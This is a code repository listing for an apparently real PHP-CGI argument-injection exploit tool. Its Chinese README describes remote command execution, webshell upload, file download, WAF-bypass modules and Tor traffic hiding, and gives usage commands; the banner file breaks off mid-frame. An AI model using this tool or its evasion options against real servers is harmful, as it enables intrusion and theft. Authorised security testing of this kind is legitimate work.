├── .gitignore ├── LICENSE ├── README.md ├── banner.py ├── bypass_manager.py ├── bypass_modules ├── tamper_append_adad.py ├── tamper_cgi_case_mixer.py ├── tamper_cgipath_garbage.py ├── tamper_insert_dummy_element.py ├── tamper_payload_shuffle.py ├── tamper_phpfilter_wrap.py ├── tamper_phpinput_to_data.py ├── tamper_random_useragent.py ├── tamper_redirect_status.py └── tamper_xff_ip_bypass.py ├── exploit.py ├── requirements.txt ├── tamper_example_template.txt └── tor_helper.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # UV 98 | # Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | #uv.lock 102 | 103 | # poetry 104 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 105 | # This is especially recommended for binary packages to ensure reproducibility, and is more 106 | # commonly ignored for libraries. 107 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 108 | #poetry.lock 109 | 110 | # pdm 111 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 112 | #pdm.lock 113 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 114 | # in version control. 115 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 116 | .pdm.toml 117 | .pdm-python 118 | .pdm-build/ 119 | 120 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 121 | __pypackages__/ 122 | 123 | # Celery stuff 124 | celerybeat-schedule 125 | celerybeat.pid 126 | 127 | # SageMath parsed files 128 | *.sage.py 129 | 130 | # Environments 131 | .env 132 | .venv 133 | env/ 134 | venv/ 135 | ENV/ 136 | env.bak/ 137 | venv.bak/ 138 | 139 | # Spyder project settings 140 | .spyderproject 141 | .spyproject 142 | 143 | # Rope project settings 144 | .ropeproject 145 | 146 | # mkdocs documentation 147 | /site 148 | 149 | # mypy 150 | .mypy_cache/ 151 | .dmypy.json 152 | dmypy.json 153 | 154 | # Pyre type checker 155 | .pyre/ 156 | 157 | # pytype static type analyzer 158 | .pytype/ 159 | 160 | # Cython debug symbols 161 | cython_debug/ 162 | 163 | # PyCharm 164 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 165 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 166 | # and can be added to the global gitignore or merged into this file. For a more nuclear 167 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 168 | #.idea/ 169 | 170 | # Ruff stuff: 171 | .ruff_cache/ 172 | 173 | # PyPI configuration file 174 | .pypirc 175 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Night-have-dreams 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHP-CGI Injector 2 | 3 | 🚀 **CVE-2024-4577 & CVE-2024-8926 Exploit Tool** 4 | 5 | > 針對 **PHP-CGI 參數注入漏洞** 的自動化測試工具,支持 **CVE-2024-4577** 和 **CVE-2024-8926**,可進行 **命令執行、文件上傳、下載** 等操作。 6 | 7 | --- 8 | 9 | ## **📌 介紹** 10 | 本工具可用於測試 **PHP-CGI 環境中的參數注入漏洞**,並提供: 11 | - ✅ 超酷的終端介面與動畫效果 12 | - ✅ 自動化漏洞掃描 13 | - ✅ 多種攻擊模式(Shell、PHP代碼執行、檔案上傳/下載) 14 | - ✅ 預設及自訂 Payload 組合 15 | - ✅ Tor 流量隱藏模式 16 | - ✅ 多種 Bypass WAF 繞過模組 17 | - ✅ 支援輸出編碼自動轉換 18 | - ✅ 強制漏洞利用模式(即使未掃描出漏洞也可啟動) 19 | - ❌ 不支援泡咖啡,但支援烘烤 WAF。 20 | - ❌ 不支援幫你打報告、追女友或考上研究所。 21 | - ❌ 不支援社交工程,請自行面對人類。 22 | 23 | --- 24 | 25 | ## **📜 免責聲明** 26 | **本工具僅限於合法測試與學術用途,請勿用於未經授權的系統!** 27 | > **⚠️ 非法使用將承擔法律責任!** 28 | 29 | 本工具僅供: 30 | - 🔹 **企業紅隊滲透測試** 31 | - 🔹 **CTF 安全研究** 32 | - 🔹 **個人安全學習** 33 | - 🔹 **其他取得合法授權之安全測試** 34 | 35 | --- 36 | 37 | ## **📥 安裝依賴** 38 | 本工具依賴以下 Python 套件,請先安裝: 39 | ```bash 40 | pip install -r requirements.txt 41 | ``` 42 | 或者手動安裝: 43 | ```bash 44 | pip install requests requests-tor chardet urllib3 rich 45 | ``` 46 | 47 | --- 48 | 49 | ## **🛠️ 使用方法** 50 | ### **📌 基本用法** 51 | ```bash 52 | python exploit.py -u URL [--timeout sec] [--delay sec] [--log] [--verbose] [--payload PAYLOAD] [--bypass] [--tor] [--no-effects] [--force] [--cgipoint PATHS...] 53 | ``` 54 | 範例: 55 | ```bash 56 | python exploit.py -u http://example.com --timeout 30 --payload 2 --log --tor --verbose 57 | python exploit.py -u http://example.com --bypass --force 58 | python exploit.py -u http://example.com --cgipoint /php-cgi/php-cgi.exe /cgi-bin/php 59 | ``` 60 | 61 | ### **📌 參數選項** 62 | 63 | | 參數 | 說明 | 範例 | 64 | |-----------------------|----------------------------------|-------------------------| 65 | | `-u` 、 `--url` | 指定目標網址 | `-u http://example.com` | 66 | | `--timeout sec` | 設定請求超時(0為無限) | `--timeout 30` | 67 | | `--log` | 自動記錄shell命令 | `--log` | 68 | | `--payload` | 指定或自訂Payload組合 | `--payload 2` | 69 | | `--tor` | 透過Tor發送請求 | `--tor` | 70 | | `--verbose` | 顯示詳細訊息 | `--verbose` | 71 | | `--bypass` | 啟用WAF繞過模式 | `--bypass` | 72 | | `--force` | 強制進入漏洞利用模式 | `--force` | 73 | | `--cgipoint PATHS` | 指定特定CGI路徑進行測試 | `--cgipoint /path` | 74 | | `--delay sec` | 每次請求之間的延遲秒數 | `--delay 1.5` | 75 | | `--no-effects` | 關閉所有動畫與延遲效果 | `--no-effects` | 76 | --- 77 | 78 | ## **📌 操作模式** 79 | 當腳本找到漏洞後,會顯示選單: 80 | ``` 81 | ╭──────────── Exploit 模式選單 ────────────╮ 82 | │ 當前目標:http://example.com/ │ 83 | │ 當前注入點:/php-cgi/php-cgi.exe │ 84 | │ 漏洞編號:CVE-2024-4577 │ 85 | ╰────────────────────────────────────────────╯ 86 | 1) 🧪 Shell模式 87 | 2) 🛠️ PHP自訂端模式 88 | 3) 📤 上傳檔案 89 | 4) 📥 下載檔案 90 | 5) 🎯 切換攻擊目標 91 | 6) ⚙️ 設定參數 92 | 7) ❌ 離開程式 93 | >> 94 | ``` 95 | 96 | --- 97 | 98 | ## **📌 模式詳解** 99 | ### **1️⃣ Shell 模式** 100 | 執行 **系統命令**: 101 | ``` 102 | shell> whoami 103 | ``` 104 | 📂 **儲存輸出** 105 | ``` 106 | shell> whoami --save 107 | ``` 108 | ``` 109 | shell> whoami --save C:\output\whoami.txt 110 | ``` 111 | 112 | --- 113 | 114 | ### **2️⃣ PHP 自訂模式** 115 | 執行 **自訂 PHP 代碼**: 116 | ``` 117 | phpinfo(); 118 | EOF 119 | ``` 120 | 📂 **儲存輸出** 121 | ``` 122 | phpinfo(); 123 | EOF --save 124 | ``` 125 | ``` 126 | phpinfo(); 127 | EOF --save C:\output\info.html 128 | ``` 129 | 130 | --- 131 | 132 | ### **3️⃣ 上傳檔案** 133 | ``` 134 | 本地檔案路徑:C:\test\shell.php 135 | 目標完整路徑: 136 | [*] 已自動設定上傳路徑為: C:/xampp/htdocs/shell.php 137 | ``` 138 | 📂 **手動指定路徑** 139 | ``` 140 | 目標完整路徑:C:\xampp\php\shell.php 141 | ``` 142 | 143 | --- 144 | 145 | ### **4️⃣ 下載檔案** 146 | ``` 147 | 遠端檔案路徑:C:\xampp\htdocs\index.php 148 | ``` 149 | 📂 **檔案下載後儲存於 `download/`,若有重複,會自動添加編號** 150 | ``` 151 | [*] 檔案下載完成,儲存在 download/index.php 152 | ``` 153 | 154 | --- 155 | 156 | ### **5️⃣ 切換攻擊目標** 157 | ``` 158 | 輸入新目標URL: http://newtarget.com 159 | ``` 160 | 🔹 **將重新測試漏洞** 161 | 162 | --- 163 | 164 | ### **6️⃣ 參數切換** 165 | ``` 166 | [⚙️ 利用階段參數設定選單] 167 | 168 | 1) 切換荷載 Payload 1 169 | 2) 繞過模組 Bypass 未選擇 170 | 3) 等待時間 Timeout 10 秒 171 | 4) 請求延遲 Delay 0 秒 172 | 5) 自動紀錄 Log 關閉 173 | 6) 詳細模式 Verbose 關閉 174 | 7) 動畫效果 Effects 開啟 175 | 8) 強制利用 Force 關閉 176 | 9) 儲存並返回 Exploit 選單 177 | ``` 178 | --- 179 | 180 | ## 📌 Bypass WAF 繞過模組 181 | 182 | 提供以下繞過策略: 183 | - CGI路徑變形 184 | - Payload前後添加無效字符 185 | - 替換 `php://input` 為其他寫法 186 | - 添加特定或隨機HTTP頭 187 | - 混淆POST內容 188 | - 隨機打亂Payload順序 189 | - 自訂繞過腳本,格式請看tamper_example_template.txt 190 | --- 191 | 192 | -------------------------------------------------------------------------------- /banner.py: -------------------------------------------------------------------------------- 1 | import time 2 | import sys 3 | from rich.console import Console 4 | from rich.live import Live 5 | from rich import print as rprint 6 | 7 | console = Console() 8 | 9 | def color_gradient(text, start_color, end_color, step, start_step, end_step): 10 | """ 根據步驟將文本顏色從 start_color 變為 end_color (只影響指定範圍內的幀) """ 11 | if step < start_step: 12 | return f"[rgb({start_color[0]},{start_color[1]},{start_color[2]})]{text}[/rgb({start_color[0]},{start_color[1]},{start_color[2]})]" 13 | elif step >= end_step: 14 | return f"[rgb({end_color[0]},{end_color[1]},{end_color[2]})]{text}[/rgb({end_color[0]},{end_color[1]},{end_color[2]})]" 15 | else: 16 | # 計算漸變比例 17 | progress = (step - start_step) / (end_step - start_step) 18 | red = int(start_color[0] + (end_color[0] - start_color[0]) * progress) 19 | green = int(start_color[1] + (end_color[1] - start_color[1]) * progress) 20 | blue = int(start_color[2] + (end_color[2] - start_color[2]) * progress) 21 | 22 | return f"[rgb({red},{green},{blue})]{text}[/rgb({red},{green},{blue})]" 23 | 24 | # 逐幀 Banner 畫面 25 | frames = [ 26 | #0 27 | r""" 28 | """, 29 | #1 30 | r""" 31 | 32 | """,#2 33 | r""" 34 | 35 | 36 | """,#3 37 | r""" 38 | 39 | 40 | 41 | """,#4 42 | r""" 43 | 44 | 45 | 46 | 47 | """,#5 48 | r""" 49 | 50 | 51 | 52 | 53 | 54 | """,#6 55 | r""" 56 | 57 | 58 | 59 | 60 | 61 | 62 | """,#7 63 | r""" 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | """,#8 72 | r""" 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | """,#9 82 | r""" 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | """,#10 93 | r""" 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | """,#11 105 | r""" 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | """, 118 | #12 119 | r""" 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | """, 133 | #2 134 | r""" 135 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 136 | """, 137 | #3 138 | r""" 139 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 140 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 141 | """, 142 | #4 143 | r""" 144 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 145 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 146 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 147 | """, 148 | #5 149 | r""" 150 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 151 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 152 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 153 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 154 | """, 155 | #6 156 | r""" 157 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 158 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 159 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 160 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 161 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 162 | """, 163 | #7 164 | r""" 165 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 166 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 167 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 168 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 169 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 170 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 171 | """, 172 | #8 173 | r""" 174 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 175 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 176 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 177 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 178 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 179 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 180 | 181 | """, 182 | #9 183 | r""" 184 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 185 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 186 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 187 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 188 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 189 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 190 | 191 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 192 | """, 193 | #10 194 | r""" 195 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 196 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 197 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 198 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 199 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 200 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 201 | 202 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 203 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 204 | """, 205 | #11 206 | r""" 207 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 208 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 209 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 210 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 211 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 212 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 213 | 214 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 215 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 216 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 217 | """, 218 | #12 219 | r""" 220 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 221 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 222 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 223 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 224 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 225 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 226 | 227 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 228 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 229 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 230 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 231 | """, 232 | #13 233 | r""" 234 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 235 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 236 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 237 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 238 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 239 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 240 | 241 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 242 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 243 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 244 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 245 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 246 | """, 247 | #14 248 | r""" 249 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 250 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 251 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 252 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 253 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 254 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 255 | 256 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 257 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 258 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 259 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 260 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 261 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 262 | #15 263 | r""" 264 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 265 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 266 | ██████╔╝███████║██████╔╝ ██████║███████╠═══ ██║ ██║ ███╗██║ 267 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 268 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 269 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 270 | 271 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 272 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 273 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 274 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 275 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 276 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 277 | #16 278 | r""" 279 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 280 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 281 | ██████╔╝███████║██████╔╝ ██████║███████╠═══██║ ██║ ███╗██║ 282 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 283 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 284 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 285 | 286 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 287 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 288 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 289 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 290 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 291 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 292 | #17 293 | r""" 294 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 295 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠╦╤╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 296 | ██████╔╝███████║██████╔╝ ██████║███████╠══██║ ██║ ███╗██║ 297 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠╩╧╧╧╧╧╧╝ ██║ ██║ ██║██║ 298 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 299 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 300 | 301 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 302 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 303 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 304 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 305 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 306 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 307 | #18 308 | r""" 309 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 310 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠═╦╤╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 311 | ██████╔╝███████║██████╔╝ ███████║██████╠══██║ ██║ ███╗██║ 312 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠═╩╧╧╧╧╧╝ ██║ ██║ ██║██║ 313 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 314 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 315 | 316 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 317 | ██║ ████╗ ██║ ██║██╔════╝██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗ 318 | ██║ ██╔██╗ ██║ ██║█████╗ ██║ ██║ ██║ ██║██████╔╝ 319 | ██║ ██║╚██╗██║██ ██║██╔══╝ ██║ ██║ ██║ ██║██╔══██╗ 320 | ██║ ██║ ╚████║╚█████╔╝███████╗╚██████╗ ██║ ╚██████╔╝██║ ██║ 321 | ╚═╝ ╚═╝ ╚═══╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝""", 322 | #19 323 | r""" 324 | ██████╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ 325 | ██╔══██╗██║ ██║██╔══██╗ ▌ ╠═╤╦╤╤╤╤╗ ██╔════╝██╔════╝ ██║ 326 | ██████╔╝███████║██████╔╝ ████████║█████╠══██║ ██║ ███╗██║ 327 | ██╔═══╝ ██╔══██║██╔═══╝ ▌ ╠═╧╩╧╧╧╧╝ ██║ ██║ ██║██║ 328 | ██║ ██║ ██║██║ ╚██████╗╚██████╔╝██║ 329 | ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ 330 | 331 | ██╗ ███╗ ██╗ ██╗███████╗ ██████╗████████╗ ██████╗ ██████╗ 332 | ██║ ████╗ ██║ 